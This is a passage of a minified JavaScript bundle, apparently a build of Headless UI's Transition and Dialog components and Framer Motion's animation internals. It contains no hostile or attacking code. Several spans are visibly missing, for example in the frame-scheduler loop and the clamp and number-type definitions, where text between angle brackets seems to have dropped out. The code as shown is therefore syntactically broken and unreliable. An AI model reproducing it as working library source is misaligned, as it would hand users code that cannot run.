i=r.setTimeout((()=>{n(),r.dispose()}),l);r.addEventListener(e,"transitionrun",(o=>{o.target===o.currentTarget&&(i(),r.addEventListener(e,"transitioncancel",(e=>{e.target===e.currentTarget&&(n(),t())})))}))}));r.addEventListener(e,"transitionend",(e=>{e.target===e.currentTarget&&(n(),r.dispose())}))}else n();return r.dispose}(e,r)),n()})),o.dispose}(a,{inFlight:c,prepare(){d.current?d.current=!1:d.current=c.current,c.current=!0,!d.current&&(r?(l(3),u(4)):(l(4),u(2)))},run(){d.current?r?(u(3),l(4)):(u(4),l(3)):r?u(1):l(1)},done(){var e;d.current&&"function"==typeof a.getAnimations&&a.getAnimations().length>0||(c.current=!1,u(7),r||s(!1),null==(e=null==i?void 0:i.end)||e.call(i,r))}})):r?(l(3),h.nextFrame((()=>e()))):void 0}),[t,r,n,h]),t?[o,{closed:a(1),enter:a(2),leave:a(4),transition:a(2)||a(4)}]:[r,{closed:void 0,enter:void 0,leave:void 0,transition:void 0}]}(N,y,E,{start:F,end:j}),_=Re({ref:b,className:(null==(i=be(v.className,V&&c,V&&d,I.enter&&c,I.enter&&I.closed&&d,I.enter&&!I.closed&&h,I.leave&&m,I.leave&&!I.closed&&f,I.leave&&I.closed&&g,!I.transition&&E&&p))?void 0:i.trim())||void 0,...Pt(I)}),U=0;return"visible"===T&&(U|=ze.Open),"hidden"===T&&(U|=ze.Closed),I.enter&&(U|=ze.Opening),I.leave&&(U|=ze.Closing),e.createElement(Rt.Provider,{value:M},e.createElement(Ye,{value:U},Se({ourProps:_,theirProps:v,defaultTag:Ot,features:Vt,visible:"visible"===T,name:"Transition.Child"})))})),Ft=Ae((function(t,n){let r=null!==(0,e.useContext)(Ct),i=null!==qe();return e.createElement(e.Fragment,null,!r&&i?e.createElement(Lt,{ref:n,...t}):e.createElement(Mt,{ref:n,...t}))})),jt=Object.assign(Lt,{Child:Ft,Root:Lt});var Nt=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(Nt||{}),It=(e=>(e[e.SetTitleId=0]="SetTitleId",e))(It||{});let Bt={0:(e,t)=>e.titleId===t.id?e:{...e,titleId:t.id}},_t=(0,e.createContext)(null);function Ut(t){let n=(0,e.useContext)(_t);if(null===n){let e=new Error(`<${t} /> is missing a parent component.`);throw Error.captureStackTrace&&Error.captureStackTrace(e,Ut),e}return n}function $t(e,t){return ne(t.type,Bt,e,t)}_t.displayName="DialogContext";let Wt=Ae((function(t,n){let r=(0,e.useId)(),{id:i=`headlessui-dialog-${r}`,open:o,onClose:s,initialFocus:a,role:l="dialog",autoFocus:u=!0,__demoMode:c=!1,unmount:d=!1,...h}=t,p=(0,e.useRef)(!1);l="dialog"===l||"alertdialog"===l?l:(p.current||(p.current=!0,console.warn(`Invalid role [${l}] passed to . Only \`dialog\` and and \`alertdialog\` are supported. Using \`dialog\` instead.`)),"dialog");let m=qe();void 0===o&&null!==m&&(o=(m&ze.Open)===ze.Open);let f=(0,e.useRef)(null),g=Ue(f,n),v=we(f),y=o?0:1,[w,b]=(0,e.useReducer)($t,{titleId:null,descriptionId:null,panelRef:(0,e.createRef)()}),x=Y((()=>s(!1))),E=Y((e=>b({type:0,id:e}))),S=!!Be()&&0===y,[P,T]=function(){let t=(0,e.useContext)(yt),n=(0,e.useRef)([]),r=Y((e=>(n.current.push(e),t&&t.register(e),()=>i(e)))),i=Y((e=>{let r=n.current.indexOf(e);-1!==r&&n.current.splice(r,1),t&&t.unregister(e)})),o=(0,e.useMemo)((()=>({register:r,unregister:i,portals:n})),[r,i,n]);return[n,(0,e.useMemo)((()=>function({children:t}){return e.createElement(yt.Provider,{value:o},t)}),[o])]}(),C={get current(){var e;return null!=(e=w.panelRef.current)?e:f.current}},A=Me(),{resolveContainers:R}=function({defaultContainers:e=[],portals:t,mainTreeNode:n}={}){let r=we(n),i=Y((()=>{var i,o;let s=[];for(let t of e)null!==t&&(t instanceof HTMLElement?s.push(t):"current"in t&&t.current instanceof HTMLElement&&s.push(t.current));if(null!=t&&t.current)for(let e of t.current)s.push(e);for(let e of null!=(i=null==r?void 0:r.querySelectorAll("html > *, body > *"))?i:[])e!==document.body&&e!==document.head&&e instanceof HTMLElement&&"headlessui-portal-root"!==e.id&&(n&&(e.contains(n)||e.contains(null==(o=null==n?void 0:n.getRootNode())?void 0:o.host))||s.some((t=>e.contains(t)))||s.push(e));return s}));return{resolveContainers:i,contains:Y((e=>i().some((t=>t.contains(e)))))}}({mainTreeNode:A,portals:P,defaultContainers:[C]}),k=null!==m&&(m&ze.Closing)===ze.Closing;ee(!c&&!k&&S,{allowed:Y((()=>{var e,t;return[null!=(t=null==(e=f.current)?void 0:e.closest("[data-headlessui-portal]"))?t:null]})),disallowed:Y((()=>{var e;return[null!=(e=null==A?void 0:A.closest("body > *:not(#headlessui-portal-root)"))?e:null]}))}),function(t,n,r){let i=q(t,"outside-click"),o=_((e=>{e.preventDefault(),x()})),s=(0,e.useCallback)((function(e,t){if(e.defaultPrevented)return;let r=t(e);if(null===r||!r.getRootNode().contains(r)||!r.isConnected)return;let i=function e(t){return"function"==typeof t?e(t()):Array.isArray(t)||t instanceof Set?t:[t]}(n);for(let t of i){if(null===t)continue;let n=t instanceof HTMLElement?t:t.current;if(null!=n&&n.contains(r)||e.composed&&e.composedPath().includes(n))return}return!function(e,t=0){var n;return e!==(null==(n=X(e))?void 0:n.body)&&ne(t,{0:()=>e.matches(re),1(){let t=e;for(;null!==t;){if(t.matches(re))return!0;t=t.parentElement}return!1}})}(r,ce.Loose)&&-1!==r.tabIndex&&e.preventDefault(),o.current(e,r)}),[o]),a=(0,e.useRef)(null);ve(i,"pointerdown",(e=>{var t,n;a.current=(null==(n=null==(t=e.composedPath)?void 0:t.call(e))?void 0:n[0])||e.target}),!0),ve(i,"mousedown",(e=>{var t,n;a.current=(null==(n=null==(t=e.composedPath)?void 0:t.call(e))?void 0:n[0])||e.target}),!0),ve(i,"click",(e=>{ge()||a.current&&(s(e,(()=>a.current)),a.current=null)}),!0);let l=(0,e.useRef)({x:0,y:0});ve(i,"touchstart",(e=>{l.current.x=e.touches[0].clientX,l.current.y=e.touches[0].clientY}),!0),ve(i,"touchend",(e=>{let t=e.changedTouches[0].clientX,n=e.changedTouches[0].clientY;if(!(Math.abs(t-l.current.x)>=30||Math.abs(n-l.current.y)>=30))return s(e,(()=>e.target instanceof HTMLElement?e.target:null))}),!0),ye(i,"blur",(e=>s(e,(()=>window.document.activeElement instanceof HTMLIFrameElement?window.document.activeElement:null))),!0)}(S,R),function(e,t=("undefined"!=typeof document?document.defaultView:null),n){let r=q(e,"escape");U(t,"keydown",(e=>{r&&(e.defaultPrevented||e.key===F.Escape&&n(e))}))}(S,null==v?void 0:v.defaultView,(e=>{e.preventDefault(),e.stopPropagation(),document.activeElement&&"blur"in document.activeElement&&"function"==typeof document.activeElement.blur&&document.activeElement.blur(),x()})),function(e,t,n=(()=>[document.body])){!function(e,t,n=(()=>({containers:[]}))){let r=H(Ie),i=t?r.get(t):void 0;i&&i.count,B((()=>{if(t&&e)return Ie.dispatch("PUSH",t,n),()=>Ie.dispatch("POP",t,n)}),[e,t])}(q(e,"scroll-lock"),t,(e=>{var t;return{containers:[...null!=(t=e.containers)?t:[],n]}}))}(!c&&!k&&S,v,R),te(S,f,x);let[D,O]=function(){let[t,n]=(0,e.useState)([]);return[t.length>0?t.join(" "):void 0,(0,e.useMemo)((()=>function(t){let r=Y((e=>(n((t=>[...t,e])),()=>n((t=>{let n=t.slice(),r=n.indexOf(e);return-1!==r&&n.splice(r,1),n}))))),i=(0,e.useMemo)((()=>({register:r,slot:t.slot,name:t.name,props:t.props,value:t.value})),[r,t.slot,t.name,t.props,t.value]);return e.createElement(Ze.Provider,{value:i},t.children)}),[n])]}(),V=(0,e.useMemo)((()=>[{dialogState:y,close:x,setTitleId:E,unmount:d},w]),[y,w,x,E,d]),L=(0,e.useMemo)((()=>({open:0===y})),[y]),M={ref:g,id:i,role:l,tabIndex:-1,"aria-modal":c?void 0:0===y||void 0,"aria-labelledby":w.titleId,"aria-describedby":D,unmount:d},j=!function(){var t;let[n]=(0,e.useState)((()=>"undefined"!=typeof window&&"function"==typeof window.matchMedia?window.matchMedia("(pointer: coarse)"):null)),[r,i]=(0,e.useState)(null!=(t=null==n?void 0:n.matches)&&t);return B((()=>{if(n)return n.addEventListener("change",e),()=>n.removeEventListener("change",e);function e(e){i(e.matches)}}),[n]),r}(),N=ut.None;return S&&!c&&(N|=ut.RestoreFocus,N|=ut.TabLock,u&&(N|=ut.AutoFocus),j&&(N|=ut.InitialFocus)),e.createElement(Ke,null,e.createElement(Xe,{force:!0},e.createElement(xt,null,e.createElement(_t.Provider,{value:V},e.createElement(bt,{target:f},e.createElement(Xe,{force:!1},e.createElement(O,{slot:L},e.createElement(T,null,e.createElement(dt,{initialFocus:a,initialFocusFallback:f,containers:R,features:N},e.createElement(We,{value:x},Se({ourProps:M,theirProps:h,slot:L,defaultTag:Ht,features:zt,visible:0===y,name:"Dialog"})))))))))))})),Ht="div",zt=xe.RenderStrategy|xe.Static,qt=Ae((function(t,n){let{transition:r=!1,open:i,...o}=t,s=qe(),a=t.hasOwnProperty("open")||null!==s,l=t.hasOwnProperty("onClose");if(!a&&!l)throw new Error("You have to provide an `open` and an `onClose` prop to the `Dialog` component.");if(!a)throw new Error("You provided an `onClose` prop to the `Dialog`, but forgot an `open` prop.");if(!l)throw new Error("You provided an `open` prop to the `Dialog`, but forgot an `onClose` prop.");if(!s&&"boolean"!=typeof t.open)throw new Error(`You provided an \`open\` prop to the \`Dialog\`, but the value is not a boolean. Received: ${t.open}`);if("function"!=typeof t.onClose)throw new Error(`You provided an \`onClose\` prop to the \`Dialog\`, but the value is not a function. Received: ${t.onClose}`);return void 0===i&&!r||o.static?e.createElement(Le,null,e.createElement(Wt,{ref:n,open:i,...o})):e.createElement(Le,null,e.createElement(jt,{show:i,transition:r,unmount:o.unmount},e.createElement(Wt,{ref:n,...o})))})),Yt=Ae((function(t,n){let r=(0,e.useId)(),{id:i=`headlessui-dialog-panel-${r}`,transition:o=!1,...s}=t,[{dialogState:a,unmount:l},u]=Ut("Dialog.Panel"),c=Ue(n,u.panelRef),d=(0,e.useMemo)((()=>({open:0===a})),[a]),h={ref:c,id:i,onClick:Y((e=>{e.stopPropagation()}))};return e.createElement(o?Ft:e.Fragment,{...o?{unmount:l}:{}},Se({ourProps:h,theirProps:s,slot:d,defaultTag:"div",name:"Dialog.Panel"}))})),Kt=(Ae((function(t,n){let{transition:r=!1,...i}=t,[{dialogState:o,unmount:s}]=Ut("Dialog.Backdrop"),a=(0,e.useMemo)((()=>({open:0===o})),[o]),l={ref:n,"aria-hidden":!0};return e.createElement(r?Ft:e.Fragment,{...r?{unmount:s}:{}},Se({ourProps:l,theirProps:i,slot:a,defaultTag:"div",name:"Dialog.Backdrop"}))})),Ae((function(t,n){let r=(0,e.useId)(),{id:i=`headlessui-dialog-title-${r}`,...o}=t,[{dialogState:s,setTitleId:a}]=Ut("Dialog.Title"),l=Ue(n);(0,e.useEffect)((()=>(a(i),()=>a(null))),[i,a]);let u=(0,e.useMemo)((()=>({open:0===s})),[s]);return Se({ourProps:{ref:l,id:i},theirProps:o,slot:u,defaultTag:"h2",name:"Dialog.Title"})}))),Gt=Object.assign(qt,{Panel:Yt,Title:Kt,Description:tt});var Xt=i(893);const Jt=(0,e.createContext)({transformPagePoint:e=>e,isStatic:!1,reducedMotion:"never"}),Zt=(0,e.createContext)({}),Qt=(0,e.createContext)(null),en="undefined"!=typeof window,tn=en?e.useLayoutEffect:e.useEffect,nn=(0,e.createContext)({strict:!1}),rn=e=>e.replace(/([a-z])([A-Z])/gu,"$1-$2").toLowerCase(),on="data-"+rn("framerAppearId"),sn=["read","resolveKeyframes","update","preRender","render","postRender"];function an(e,t){let n=!1,r=!0;const i={delta:0,timestamp:0,isProcessing:!1},o=()=>n=!0,s=sn.reduce(((e,t)=>(e[t]=function(e){let t=new Set,n=new Set,r=!1,i=!1;const o=new WeakSet;let s={delta:0,timestamp:0,isProcessing:!1};function a(t){o.has(t)&&(l.schedule(t),e()),t(s)}const l={schedule:(e,i=!1,s=!1)=>{const a=s&&r?t:n;return i&&o.add(e),a.has(e)||a.add(e),e},cancel:e=>{n.delete(e),o.delete(e)},process:e=>{s=e,r?i=!0:(r=!0,[t,n]=[n,t],n.clear(),t.forEach(a),r=!1,i&&(i=!1,l.process(e)))}};return l}(o),e)),{}),{read:a,resolveKeyframes:l,update:u,preRender:c,render:d,postRender:h}=s,p=()=>{const o=performance.now();n=!1,i.delta=r?1e3/60:Math.max(Math.min(o-i.timestamp,40),1),i.timestamp=o,i.isProcessing=!0,a.process(i),l.process(i),u.process(i),c.process(i),d.process(i),h.process(i),i.isProcessing=!1,n&&t&&(r=!1,e(p))};return{schedule:sn.reduce(((t,o)=>{const a=s[o];return t[o]=(t,o=!1,s=!1)=>(n||(n=!0,r=!0,i.isProcessing||e(p)),a.schedule(t,o,s)),t}),{}),cancel:e=>{for(let t=0;t{d&&d.update(r,l)}));const p=(0,e.useRef)(Boolean(r[on]&&!window.HandoffComplete));return tn((()=>{d&&(d.updateFeatures(),ln.render(d.render),p.current&&d.animationState&&d.animationState.animateChanges())})),(0,e.useEffect)((()=>{d&&(!p.current&&d.animationState&&d.animationState.animateChanges(),p.current&&(p.current=!1,hn||(hn=!0,queueMicrotask(mn))))})),d}function mn(){window.HandoffComplete=!0}function fn(e){if(e)return!1!==e.options.allowProjection?e.projection:fn(e.parent)}function gn(t,n,r){return(0,e.useCallback)((e=>{e&&t.mount&&t.mount(e),n&&(e?n.mount(e):n.unmount()),r&&("function"==typeof r?r(e):cn(r)&&(r.current=e))}),[n])}function vn(e){return"string"==typeof e||Array.isArray(e)}function yn(e){return null!==e&&"object"==typeof e&&"function"==typeof e.start}const wn=["animate","whileInView","whileFocus","whileHover","whileTap","whileDrag","exit"],bn=["initial",...wn];function xn(e){return yn(e.animate)||bn.some((t=>vn(e[t])))}function En(e){return Boolean(xn(e)||e.variants)}function Sn(e){return Array.isArray(e)?e.join(" "):e}const Pn={animation:["animate","variants","whileHover","whileTap","exit","whileInView","whileFocus","whileDrag"],exit:["exit"],drag:["drag","dragControls"],focus:["whileFocus"],hover:["whileHover","onHoverStart","onHoverEnd"],tap:["whileTap","onTap","onTapStart","onTapCancel"],pan:["onPan","onPanStart","onPanSessionStart","onPanEnd"],inView:["whileInView","onViewportEnter","onViewportLeave"],layout:["layout","layoutId"]},Tn={};for(const e in Pn)Tn[e]={isEnabled:t=>Pn[e].some((e=>!!t[e]))};const Cn=(0,e.createContext)({}),An=Symbol.for("motionComponentSymbol");function Rn({preloadedFeatures:t,createVisualElement:n,useRender:r,useVisualState:i,Component:o}){t&&function(e){for(const t in e)Tn[t]={...Tn[t],...e[t]}}(t);const s=(0,e.forwardRef)((function(t,s){let a;const l={...(0,e.useContext)(Jt),...t,layoutId:kn(t)},{isStatic:u}=l,c=function(t){const{initial:n,animate:r}=function(e,t){if(xn(e)){const{initial:t,animate:n}=e;return{initial:!1===t||vn(t)?t:void 0,animate:vn(n)?n:void 0}}return!1!==e.inherit?t:{}}(t,(0,e.useContext)(Zt));return(0,e.useMemo)((()=>({initial:n,animate:r})),[Sn(n),Sn(r)])}(t),d=i(t,u);if(!u&&en){(0,e.useContext)(nn).strict;const t=function(e){const{drag:t,layout:n}=Tn;if(!t&&!n)return{};const r={...t,...n};return{MeasureLayout:(null==t?void 0:t.isEnabled(e))||(null==n?void 0:n.isEnabled(e))?r.MeasureLayout:void 0,ProjectionNode:r.ProjectionNode}}(l);a=t.MeasureLayout,c.visualElement=pn(o,d,l,n,t.ProjectionNode)}return(0,Xt.jsxs)(Zt.Provider,{value:c,children:[a&&c.visualElement?(0,Xt.jsx)(a,{visualElement:c.visualElement,...l}):null,r(o,t,gn(d,c.visualElement,s),d,u,c.visualElement)]})}));return s[An]=o,s}function kn({layoutId:t}){const n=(0,e.useContext)(Cn).id;return n&&void 0!==t?n+"-"+t:t}function Dn(e){function t(t,n={}){return Rn(e(t,n))}if("undefined"==typeof Proxy)return t;const n=new Map;return new Proxy(t,{get:(e,r)=>(n.has(r)||n.set(r,t(r)),n.get(r))})}const On=["animate","circle","defs","desc","ellipse","g","image","line","filter","marker","mask","metadata","path","pattern","polygon","polyline","rect","stop","switch","symbol","svg","text","tspan","use","view"];function Vn(e){return"string"==typeof e&&!e.includes("-")&&!!(On.indexOf(e)>-1||/[A-Z]/u.test(e))}const Ln={},Mn=["transformPerspective","x","y","z","translateX","translateY","translateZ","scale","scaleX","scaleY","rotate","rotateX","rotateY","rotateZ","skew","skewX","skewY"],Fn=new Set(Mn);function jn(e,{layout:t,layoutId:n}){return Fn.has(e)||e.startsWith("origin")||(t||void 0!==n)&&(!!Ln[e]||"opacity"===e)}const Nn=e=>Boolean(e&&e.getVelocity),In=(e,t)=>t&&"number"==typeof e?t.transform(e):e,Bn=(e,t,n)=>n>t?t:n"number"==typeof e,parse:parseFloat,transform:e=>e},$n={...Un,transform:e=>Bn(0,1,e)},Wn={...Un,default:1},Hn=e=>Math.round(1e5*e)/1e5,zn=/-?(?:\d+(?:\.\d+)?|\.\d+)/gu,qn=/(?:#[\da-f]{3,8}|(?:rgb|hsl)a?\((?:-?[\d.]+%?[,\s]+){2}-?[\d.]+%?\s*(?:[,/]\s*)?(?:\b\d+(?:\.\d+)?|\.\d+)?%?\))/giu,Yn=/^(?:#[\da-f]{3,8}|(?:rgb|hsl)a?\((?:-?[\d.]+%?[,\s]+){2}-?[\d.]+%?\s*(?:[,/]\s*)?(?:\b\d+(?:\.\d+)?|\.\d+)?%?\))$/iu;function Kn(e){return"string"==typeof e}const Gn=e=>({test:t=>Kn(t)&&t.endsWith(e)&&1===t.split(" ").length,parse:parseFloat,transform:t=>`${t}${e}`}),Xn=Gn("deg"),Jn=Gn("%"),Zn=Gn("px"),Qn=Gn("vh"),er=Gn("vw"),tr={...Jn,parse:e=>Jn.parse(e)/100,transform:e=>Jn.transform(100*e)},nr={...Un,transform:Math.round},rr={borderWidth:Zn,borderTopWidth:Zn,borderRightWidth:Zn,borderBottomWidth:Zn,borderLeftWidth:Zn,borderRadius:Zn,radius:Zn,borderTopLeftRadius:Zn,borderTopRightRadius:Zn,borderBottomRightRadius:Zn,borderBottomLeftRadius:Zn,width:Zn,maxWidth:Zn,height:Zn,maxHeight:Zn,size:Zn,top:Zn,right:Zn,bottom:Zn,left:Zn,padding:Zn,paddingTop:Zn,paddingRight:Zn,paddingBottom:Zn,paddingLeft:Zn,margin:Zn,marginTop:Zn,marginRight:Zn,marginBottom:Zn,marginLeft:Zn,rotate:Xn,rotateX:Xn,rotateY:Xn,rotateZ:Xn,scale:Wn,scaleX:Wn,scaleY:Wn,scaleZ:Wn,skew:Xn,skewX:Xn,skewY:Xn,distance:Zn,translateX:Zn,translateY:Zn,translateZ:Zn,x:Zn,y:Zn,z:Zn,perspective:Zn,transformPerspective:Zn,opacity:$n,originX:tr,originY:tr,originZ:Zn,zIndex:nr,backgroundPositionX:Zn,backgroundPositionY:Zn,fillOpacity:$n,strokeOpacity:$n,numOctaves:nr},ir={x:"translateX",y:"translateY",z:"translateZ",transformPerspective:"perspective"},or=Mn.length,sr=e=>t=>"string"==typeof t&&t.startsWith(e),ar=sr("--"),lr=sr("var(--"),ur=e=>!!lr(e)&&cr.test(e.split("/*")[0].trim()),cr=/var\(--(?:[\w-]+\s*|[\w-]+\s*,(?:\s*[^)(\s]|\s*\((?:[^)(]|\([^)(]*\))*\))+\s*)\)$/iu;function dr(e,t,n){const{style:r,vars:i,transformOrigin:o}=e;let s=!1,a=!1;for(const e in t){const n=t[e];if(Fn.has(e))s=!0;else if(ar(e))i[e]=n;else{const t=In(n,rr[e]);e.startsWith("origin")?(a=!0,o[e]=t):r[e]=t}}if(t.transform||(s||n?r.transform=function(e,t,n){let r="",i=!0;for(let o=0;o({style:{},transform:{},transformOrigin:{},vars:{}});function pr(e,t,n){for(const r in t)Nn(t[r])||jn(r,n)||(e[r]=t[r])}function mr(t,n){const r={},i=function(t,n){const r={};return pr(r,t.style||{},t),Object.assign(r,function({transformTemplate:t},n){return(0,e.useMemo)((()=>{const e=hr();return dr(e,n,t),Object.assign({},e.vars,e.style)}),[n])}(t,n)),r}(t,n);return t.drag&&!1!==t.dragListener&&(r.draggable=!1,i.userSelect=i.WebkitUserSelect=i.WebkitTouchCallout="none",i.touchAction=!0===t.drag?"none":"pan-"+("x"===t.drag?"y":"x")),void 0===t.tabIndex&&(t.onTap||t.onTapStart||t.whileTap)&&(r.tabIndex=0),r.style=i,r}const fr=new Set(["animate","exit","variants","initial","style","values","variants","transition","transformTemplate","custom","inherit","onBeforeLayoutMeasure","onAnimationStart","onAnimationComplete","onUpdate","onDragStart","onDrag","onDragEnd","onMeasureDragConstraints","onDirectionLock","onDragTransitionEnd","_dragX","_dragY","onHoverStart","onHoverEnd","onViewportEnter","onViewportLeave","globalTapTarget","ignoreStrict","viewport"]);function gr(e){return e.startsWith("while")||e.startsWith("drag")&&"draggable"!==e||e.startsWith("layout")||e.startsWith("onTap")||e.startsWith("onPan")||e.startsWith("onLayout")||fr.has(e)}let vr=e=>!gr(e);try{(yr=require("@emotion/is-prop-valid").default)&&(vr=e=>e.startsWith("on")?!gr(e):yr(e))}catch(e){}var yr;function wr(e,t,n){return"string"==typeof e?e:Zn.transform(t+n*e)}const br={offset:"stroke-dashoffset",array:"stroke-dasharray"},xr={offset:"strokeDashoffset",array:"strokeDasharray"};function Er(e,{attrX:t,attrY:n,attrScale:r,originX:i,originY:o,pathLength:s,pathSpacing:a=1,pathOffset:l=0,...u},c,d){if(dr(e,u,d),c)return void(e.style.viewBox&&(e.attrs.viewBox=e.style.viewBox));e.attrs=e.style,e.style={};const{attrs:h,style:p,dimensions:m}=e;h.transform&&(m&&(p.transform=h.transform),delete h.transform),m&&(void 0!==i||void 0!==o||p.transform)&&(p.transformOrigin=function(e,t,n){return`${wr(t,e.x,e.width)} ${wr(n,e.y,e.height)}`}(m,void 0!==i?i:.5,void 0!==o?o:.5)),void 0!==t&&(h.x=t),void 0!==n&&(h.y=n),void 0!==r&&(h.scale=r),void 0!==s&&function(e,t,n=1,r=0,i=!0){e.pathLength=1;const o=i?br:xr;e[o.offset]=Zn.transform(-r);const s=Zn.transform(t),a=Zn.transform(n);e[o.array]=`${s} ${a}`}(h,s,a,l,!1)}const Sr=()=>({...hr(),attrs:{}}),Pr=e=>"string"==typeof e&&"svg"===e.toLowerCase();function Tr(t,n,r,i){const o=(0,e.useMemo)((()=>{const e=Sr();return Er(e,n,Pr(i),t.transformTemplate),{...e.attrs,style:{...e.style}}}),[n]);if(t.style){const e={};pr(e,t.style,t),o.style={...e,...o.style}}return o}function Cr(t=!1){return(n,r,i,{latestValues:o},s)=>{const a=(Vn(n)?Tr:mr)(r,o,s,n),l=function(e,t,n){const r={};for(const i in e)"values"===i&&"object"==typeof e.values||(vr(i)||!0===n&&gr(i)||!t&&!gr(i)||e.draggable&&i.startsWith("onDrag"))&&(r[i]=e[i]);return r}(r,"string"==typeof n,t),u=n!==e.Fragment?{...l,...a,ref:i}:{},{children:c}=r,d=(0,e.useMemo)((()=>Nn(c)?c.get():c),[c]);return(0,e.createElement)(n,{...u,children:d})}}function Ar(e,{style:t,vars:n},r,i){Object.assign(e.style,t,i&&i.getProjectionStyles(r));for(const t in n)e.style.setProperty(t,n[t])}const Rr=new Set(["baseFrequency","diffuseConstant","kernelMatrix","kernelUnitLength","keySplines","keyTimes","limitingConeAngle","markerHeight","markerWidth","numOctaves","targetX","targetY","surfaceScale","specularConstant","specularExponent","stdDeviation","tableValues","viewBox","gradientTransform","pathLength","startOffset","textLength","lengthAdjust"]);function kr(e,t,n,r){Ar(e,t,void 0,r);for(const n in t.attrs)e.setAttribute(Rr.has(n)?n:rn(n),t.attrs[n])}function Dr(e,t,n){var r;const{style:i}=e,o={};for(const s in i)(Nn(i[s])||t.style&&Nn(t.style[s])||jn(s,e)||void 0!==(null===(r=null==n?void 0:n.getValue(s))||void 0===r?void 0:r.liveStyle))&&(o[s]=i[s]);return n&&i&&"string"==typeof i.willChange&&(n.applyWillChange=!1),o}function Or(e,t,n){const r=Dr(e,t,n);for(const n in e)(Nn(e[n])||Nn(t[n]))&&(r[-1!==Mn.indexOf(n)?"attr"+n.charAt(0).toUpperCase()+n.substring(1):n]=e[n]);return r}function Vr(e){const t=[{},{}];return null==e||e.values.forEach(((e,n)=>{t[0][n]=e.get(),t[1][n]=e.getVelocity()})),t}function Lr(e,t,n,r){if("function"==typeof t){const[i,o]=Vr(r);t=t(void 0!==n?n:e.custom,i,o)}if("string"==typeof t&&(t=e.variants&&e.variants[t]),"function"==typeof t){const[i,o]=Vr(r);t=t(void 0!==n?n:e.custom,i,o)}return t}const Mr=e=>Array.isArray(e),Fr=e=>Boolean(e&&"object"==typeof e&&e.mix&&e.toValue),jr=e=>Mr(e)?e[e.length-1]||0:e;function Nr(e){const t=Nn(e)?e.get():e;return Fr(t)?t.toValue():t}const Ir=new Set(["opacity","clipPath","filter","transform"]);function Br(e){return Fn.has(e)?"transform":Ir.has(e)?rn(e):void 0}function _r(e,t){-1===e.indexOf(t)&&e.push(t)}function Ur(e,t){const n=e.indexOf(t);n>-1&&e.splice(n,1)}const $r=t=>(n,r)=>{const i=(0,e.useContext)(Zt),o=(0,e.useContext)(Qt),s=()=>function({applyWillChange:e=!1,scrapeMotionValuesFromProps:t,createRenderState:n,onMount:r},i,o,s,a){const l={latestValues:zr(i,o,s,!a&&e,t),renderState:n()};return r&&(l.mount=e=>r(i,e,l)),l}(t,n,i,o,r);return r?s():function(t){const n=(0,e.useRef)(null);return null===n.current&&(n.current=t()),n.current}(s)};function Wr(e,t){const n=Br(t);n&&_r(e,n)}function Hr(e,t,n){const r=Array.isArray(t)?t:[t];for(let t=0;t{for(const t in e){let n=e[t];Array.isArray(n)&&(n=n[m?n.length-1:0]),null!==n&&(s[t]=n)}for(const e in t)s[e]=t[e]})),l&&(d&&!1!==c&&!yn(d)&&Hr(e,d,(e=>{for(const t in e)Wr(a,t)})),a.length&&(s.willChange=a.join(","))),s}const qr=e=>e,{schedule:Yr,cancel:Kr,state:Gr,steps:Xr}=an("undefined"!=typeof requestAnimationFrame?requestAnimationFrame:qr,!0),Jr={useVisualState:$r({scrapeMotionValuesFromProps:Or,createRenderState:Sr,onMount:(e,t,{renderState:n,latestValues:r})=>{Yr.read((()=>{try{n.dimensions="function"==typeof t.getBBox?t.getBBox():t.getBoundingClientRect()}catch(e){n.dimensions={x:0,y:0,width:0,height:0}}})),Yr.render((()=>{Er(n,r,Pr(t.tagName),e.transformTemplate),kr(t,n)}))}})},Zr={useVisualState:$r({applyWillChange:!0,scrapeMotionValuesFromProps:Dr,createRenderState:hr})};function Qr(e,t,n,r={passive:!0}){return e.addEventListener(t,n,r),()=>e.removeEventListener(t,n)}const ei=e=>"mouse"===e.pointerType?"number"!=typeof e.button||e.button<=0:!1!==e.isPrimary;function ti(e,t="page"){return{point:{x:e[`${t}X`],y:e[`${t}Y`]}}}const ni=e=>t=>ei(t)&&e(t,ti(t));function ri(e,t,n,r){return Qr(e,t,ni(n),r)}const ii=(e,t)=>n=>t(e(n)),oi=(...e)=>e.reduce(ii);function si(e){let t=null;return()=>null===t&&(t=e,()=>{t=null})}const ai=si("dragHorizontal"),li=si("dragVertical");function ui(e){let t=!1;if("y"===e)t=li();else if("x"===e)t=ai();else{const e=ai(),n=li();e&&n?t=()=>{e(),n()}:(e&&e(),n&&n())}return t}function ci(){const e=ui(!0);return!e||(e(),!1)}class di{constructor(e){this.isMounted=!1,this.node=e}update(){}}function hi(e,t){const n=t?"pointerenter":"pointerleave",r=t?"onHoverStart":"onHoverEnd";return ri(e.current,n,((n,i)=>{if("touch"===n.pointerType||ci())return;const o=e.getProps();e.animationState&&o.whileHover&&e.animationState.setActive("whileHover",t);const s=o[r];s&&Yr.postRender((()=>s(n,i)))}),{passive:!e.getProps()[r]})}const pi=(e,t)=>!!t&&(e===t||pi(e,t.parentElement));function mi(e,t){if(!t)return;const n=new PointerEvent("pointer"+e);t(n,ti(n))}const fi=new WeakMap,gi=new WeakMap,vi=e=>{const t=fi.get(e.target);t&&t(e)},yi=e=>{e.forEach(vi)};const wi={some:0,all:1},bi={inView:{Feature:class extends di{constructor(){super(...arguments),this.hasEnteredView=!1,this.isInView=!1}startObserver(){this.unmount();const{viewport:e={}}=this.node.getProps(),{root:t,margin:n,amount:r="some",once:i}=e,o={root:t?t.current:void 0,rootMargin:n,threshold:"number"==typeof r?r:wi[r]};return function(e,t,n){const r=function({root:e,...t}){const n=e||document;gi.has(n)||gi.set(n,{});const r=gi.get(n),i=JSON.stringify(t);return r[i]||(r[i]=new IntersectionObserver(yi,{root:e,...t})),r[i]}(t);return fi.set(e,n),r.observe(e),()=>{fi.delete(e),r.unobserve(e)}}(this.node.current,o,(e=>{const{isIntersecting:t}=e;if(this.isInView===t)return;if(this.isInView=t,i&&!t&&this.hasEnteredView)return;t&&(this.hasEnteredView=!0),this.node.animationState&&this.node.animationState.setActive("whileInView",t);const{onViewportEnter:n,onViewportLeave:r}=this.node.getProps(),o=t?n:r;o&&o(e)}))}mount(){this.startObserver()}update(){if("undefined"==typeof IntersectionObserver)return;const{props:e,prevProps:t}=this.node;["amount","margin","root"].some(function({viewport:e={}},{viewport:t={}}={}){return n=>e[n]!==t[n]}(e,t))&&this.startObserver()}unmount(){}}},tap:{Feature:class extends 